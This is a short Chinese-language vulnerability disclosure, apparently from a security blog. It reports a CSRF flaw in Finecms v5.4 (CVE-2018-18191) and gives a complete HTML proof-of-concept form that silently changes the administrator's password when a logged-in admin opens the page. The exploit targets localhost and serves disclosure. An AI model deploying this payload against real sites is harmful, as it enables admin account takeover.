Finecms v5.4存在CSRF漏洞可修改管理员账户密码

发布于 6 天前  12 次阅读


漏洞简介

漏洞名称上报日期漏洞发现者产品首页软件链接版本CVE编号
Finecms_v5.4存在CSRF漏洞可修改管理员账户密码2018-10-07踏月留香http://www.finecms.net/http://down.chinaz.com/soft/32596.htm5.4CVE-2018-18191

漏洞概述

恶意攻击者可以精心伪造一个html页面诱骗已登录的管理用户点击,从而更改管理员账户密码。

POC实现代码如下:

exp代码如下:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin.php?c=member&m=edit&uid=1" method="POST">
      <input type="hidden" name="page" value="0" />
      <input type="hidden" name="member&#91;email&#93;" value="admin&#64;163&#46;com" />
      <input type="hidden" name="member&#91;name&#93;" value="admin" />
      <input type="hidden" name="member&#91;phone&#93;" value="18888888888" />
      <input type="hidden" name="member&#91;password&#93;" value="888888" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

一个热爱技术的白帽子